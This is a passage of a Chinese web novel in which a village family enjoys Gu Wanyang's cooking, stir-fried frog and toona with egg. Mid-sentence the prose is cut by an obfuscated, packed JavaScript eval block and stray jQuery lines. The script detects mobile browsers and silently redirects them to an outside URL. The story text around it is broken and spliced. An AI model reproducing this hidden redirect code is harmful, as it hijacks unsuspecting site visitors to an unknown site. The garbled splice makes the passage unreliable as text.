则肉质会变老，而且先要将田鸡下锅煸炒至水分干透，然后再爆香姜蒜小米辣一起炒，其实也没什么复杂的。”顾宛央笑着说道。
“对对对，宛央姐刚刚在厨房炒这道菜，好家伙，欻欻几下子就炒好了。”小桃说道。
“怪不得好吃呢，我们以前都是直接下锅炒，而且炒的时间比较长，所以肉就没这么嫩。”桂花婶恍然道。
田鸡不能久煮，煮时间越长肉质就会变得越老，所以这道菜才要爆炒。
“鸡蛋也很好吃呀！”栓子可不管菜是怎么做的，他只管吃，吃到香椿炒鸡蛋，他又忍不住开心地叫起来。
“这是宛央姐做的香椿炒鸡蛋，肯定好吃啊。”小桃说道。
栓子突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792290|158165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转过头，很认真地对顾宛央说道：“宛央姐，我以后都要吃你做的饭。”
顾宛央有些愕然，还没反应过来怎么回答，桂花婶就一个毛栗子就敲到栓子的头上，说道：“你想什么呢，做饭很辛苦的，以后你可以跟宛央姐学做饭，自己做着吃，还可以做给我们吃！”
“哎哟，娘，好疼！”栓子结结实实挨了一个毛栗子，捂着脑袋说道。
“就是，栓子，明天你做饭吧，正好我可以歇歇。”小桃趁机说道。
桂花婶听了小桃的话，一个眼刀扫过去，说道：“你别想偷懒，这是一时半会能学成的吗，你弟弟现在才跟灶台一般高，锅都够不着，怎么做饭。”
小桃不以为意，耸耸肩膀，夹了一筷子香椿炒鸡蛋扔进嘴里，顿时脸上露出心满意足的表情，脆脆的香椿末和松软的鸡蛋完美地结合在一起，吃上去又香又鲜又脆又酥，口感十分的丰富。
顾宛央舀了一勺香椿酱放到米饭上面，经过了一晚上的发酵，红色的辣椒面已经与油充分融合，呈现出红油的颜色，使得香椿酱的颜色漂亮了许多。
顾宛央用筷子将香椿酱和米饭搅拌在一起，美美地吃上一口，顿时觉得鲜得眉毛都要掉下来了，做成香椿酱后，春天的鲜美可以存储起来，慢慢享用。
小桃学着顾宛央的样子，也用香椿酱和米饭拌在一起，尝过后忍不住一口接着一口地吃着饭，连菜都顾不上吃。
“小桃，你慢点吃，又没人跟你抢。”九婆婆见腮帮子鼓鼓的小桃，忍不住开口说道。
“你这丫头，光扒饭吃做什么，吃菜啊。”桂花婶说道。
“娘，阿奶，你们把香椿酱拌饭吃试试，可好吃了。”小桃把嘴里的饭咽下去，极力推荐道。
桂花婶疑惑地舀了一勺香椿酱到饭上，这酱还能有肉和鸡蛋好吃吗？不过，等她吃过一口之后，便不这么想了，怪不得这丫头一直在吃饭，这个香椿酱简直是太下饭了。
“好吃，真好吃啊。”桂花婶忍不住感叹道。
“那多吃点，我刚刚又去摘了不少，下午继续腌制，多留点在家里，你们吃饭吃面的时候拌一拌